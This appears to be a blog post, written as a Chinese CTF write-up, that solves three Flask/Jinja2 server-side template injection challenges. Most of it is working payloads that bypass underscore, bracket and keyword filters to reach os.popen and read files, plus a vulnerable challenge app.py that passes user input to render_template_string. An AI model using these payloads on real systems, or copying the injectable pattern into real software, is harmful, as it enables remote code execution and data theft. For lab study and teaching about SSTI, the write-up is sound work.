Week14 WriteUp

python ssti

前面的登录页面没有什么用,直接用快捷键查看网页源代码,发现注释里有相应链接,前往即可.

过滤了两个连续的大括号、下划线、双引号和一部分单词. 因此使用{%print ...%}+中括号+单引号+\x5f绕过,cat改为tac.

GET方法传入参数name.

1
{%print ()['\x5f\x5fcla''ss\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubcla''sses\x5f\x5f']()[207]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['\x5f\x5fbuil''tins\x5f\x5f']['ev''al']('\x5f\x5fimp''ort\x5f\x5f(\'os\').popen(\'ls /\').read()')%}

Source:题库

flask

看源码提示要进/admin,然而末尾必须以.js?结束. 那么可以通过查询字符串的方式访问这个页面.

1
http://***/admin?.js?

提示传入name参数,根据题目名字不难看出存在ssti漏洞. 尝试{{3*3}}返回9,证明了上述猜测.

尝试一下发现禁止了__subclassesbuiltins[的使用,于是尝试利用attr加引号分隔绕过.

1
{{()|attr('_''_class_''_')|attr('_''_base_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(186)|attr('_''_init_''_')|attr('_''_globals_''_')|attr('_''_getitem_''_')('_''_buil''tins_''_')|attr('_''_getitem_''_')('eval')('_''_import_''_("os").popen("cat /flag").read()')}}

url:

1
http://***/admin?name={{()|attr(%27_%27%27_class_%27%27_%27)|attr(%27_%27%27_base_%27%27_%27)|attr(%27_%27%27_subcl%27%27asses_%27%27_%27)()|attr(%27_%27%27_getitem_%27%27_%27)(186)|attr(%27_%27%27_init_%27%27_%27)|attr(%27_%27%27_globals_%27%27_%27)|attr(%27_%27%27_getitem_%27%27_%27)(%27_%27%27_buil%27%27tins_%27%27_%27)|attr(%27_%27%27_getitem_%27%27_%27)(%27eval%27)(%27_%27%27_import_%27%27_(%22os%22).popen(%22cat%20/flag%22).read()%27)}}&.js?

Source:题库

非主流の名泩荿噐

输入{{3*3}},返回9,表明存在ssti注入. 尝试发现_[].'被过滤. 于是使用attr的方法绕过,并将_\x5f代替、.\x2e代替,获得payload

1
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(132)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("eval")("\x5f\x5fimport\x5f\x5f(\"os\")\x2epopen(\"ls /\")\x2eread()")}}

发现没有flag文件,并且环境变量内也没有. 于是读一下该网页的源码:

1
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(132)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("eval")("\x5f\x5fimport\x5f\x5f(\"os\")\x2epopen(\"cat app\x2epy\")\x2eread()")}}

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import random
from flask import Flask, render_template_string, render_template, request
import os

from itsdangerous import base64_encode

app = Flask(__name__)
app.config["SECRET_KEY"] = "徊想①嚸嚸の侵蝕涐の吢脏 漸漸占冇涐の甡掵。"


def encode(flag, key):
f = "".join(
chr((ord(flag[i]) + base64_encode(key)[i] - ord("a")) % 26 +
ord("a"))
if "a" <= flag[i] <= "z"
else chr(
(ord(flag[i]) + base64_encode(key)[i] - ord("0")) % 10 +
ord("0"))
if "0" <= flag[i] <= "9"
else flag[i]
for i in range(len(flag)))
return "".join(f[j * 3 + i] for i in range(3)
for j in range(int(len(f) / 3 + 0.5)))


file = open('/app/flag', 'r')
flag = file.read()

app.config["flag"] = encode(flag, app.config["SECRET_KEY"])
flag = ''

os.remove('/app/flag')

nicknames = [
"☆恨☆情☆缘_%s_☆恨☆情☆缘", "%s 莪κμ迩鈊疼", "%s ◇灬絯吇氣", "℡莪們吥蓜愛 %s ", "づ咔哇嗳咿の%s",
"%s, 封殺ろ皒 )(葬爱", "皇族♔%s♔皇族", "[♂+♂=♥]%s[♂+♂=♥]"
]


@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
try:
p = request.values.get("nickname")
id = random.randint(0, len(nicknames) - 1)
if p != None:
if "." in p or "_" in p or "\"" in p:
return '存在非法字符'
return render_template_string(nicknames[id] % p)

except Exception as e:
print(e)
return "Exception"

return render_template("index.html")


if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)

可以发现flag文件被加密处理之后存到了变量内. 于是读取一下变量:

1
{{config}}

发现加密具有周期性,于是尝试通过多次嵌套加密还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from itsdangerous import base64_encode

def encode(flag, key):
f = "".join(
chr((ord(flag[i]) + base64_encode(key)[i] - ord("a")) % 26 +
ord("a"))
if "a" <= flag[i] <= "z"
else chr(
(ord(flag[i]) + base64_encode(key)[i] - ord("0")) % 10 +
ord("0"))
if "0" <= flag[i] <= "9"
else flag[i]
for i in range(len(flag)))
return "".join(f[j * 3 + i] for i in range(3)
for j in range(int(len(f) / 3 + 0.5)))

key= "徊想①嚸嚸の侵蝕涐の吢脏 漸漸占冇涐の甡掵。"
flag='gdf388-02y133sf{u8-26y7-j8efc63enr8-g2gi0}'
for i in range(100000):
flag=encode(flag, key)
if(flag[:4]=="flag"):
print(flag)
print(encode(flag, key))

找到经过下次加密之后变为原来的字符串的值,即为flag.


Week14 WriteUp
本文链接:http://blog.ac1liu.tech/p/18568486.html
发布时间
2024年11月25日
许可协议
转载说明
请注明出处!
发表评论